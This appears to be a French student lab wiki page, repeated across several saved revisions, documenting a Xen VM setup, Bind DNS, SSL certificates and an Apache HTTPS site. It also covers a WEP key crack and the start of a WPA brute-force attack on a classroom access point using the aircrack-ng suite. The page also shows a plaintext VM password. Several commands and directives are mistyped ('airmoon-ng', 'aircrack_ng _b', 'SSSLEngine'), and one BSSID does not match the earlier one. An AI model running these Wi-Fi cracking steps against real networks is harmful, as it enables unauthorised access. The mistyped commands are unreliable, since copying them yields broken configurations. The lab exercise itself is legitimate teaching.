Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

== Serveur DNS ==

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==
[[Fichier:intrusion_honey.zip]]
(mot de passe habituel)

TP sysres IMA5 2021/2022 G8

2022-01-10T17:05:02Z

Mbaumgar : /* DNS */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

== Serveur DNS ==

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T17:04:42Z

Mbaumgar : /* Connexions */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Services Internet =

== Connexions ==

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T17:03:59Z

Mbaumgar : /* Configuration Apache 2 */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Sécurisation de site web par certificat ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

== Sécurisation de serveur DNS par DNSSEC ==

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T17:03:14Z

Mbaumgar : /* Configuration Apache 2 */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:41:58Z

Mbaumgar : /* Configuration Apache 2 */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Premier test :

openssl s_client -connect 193.48.57.183:443

Le test nous donne les codes d'erreur 20 et 21 :

verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = tournecochon.site
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = tournecochon.site
verify return:1

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:31:27Z

Mbaumgar : /* Sécurisation de site web par certificat */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

La page web par défaut d'Apache2 est visible alors à l'adresse www.tournecochon.site

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07

==Intrusion sur un serveur d'application web==

TP sysres IMA5 2021/2022 G8

2022-01-10T16:31:13Z

Mbaumgar : /* Certificat ssl */

=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.

Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage

$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1

$ xl create -c /etc/xen/RinceCochon.cfg

$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

= Connexions =

$ ssh root@193.48.57.183 -p 1359

DNS : tournecochon.site

= DNS =

== Configuration Bind ==

apt-get install bind9

Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

= Sécurisation de site web par certificat =

== Certificat ssl ==

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

== Configuration Apache 2 ==

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/

Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :

<VirtualHost 193.48.57.183:443>
ServerName tournecochon.site
ServerAlias www.tournecochon.site
DocumentRoot /var/www/tournecochon.site
CustomLog /var/log/apache2/secure_access.log combined

SSSLEngine on
SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

La page web par défaut d'Apache2 est visible alors à l'adresse www.tournecochon.site

= Package installé =

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9
=Tests d'intrusion=

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.

==Cassage de clef WEP d’un point d’accès Wifi==

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap

KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

==Cassage de mot de passe WPA-PSK par force brute==

On récupère le nom de l'interface de la clé

$ airmon-ng

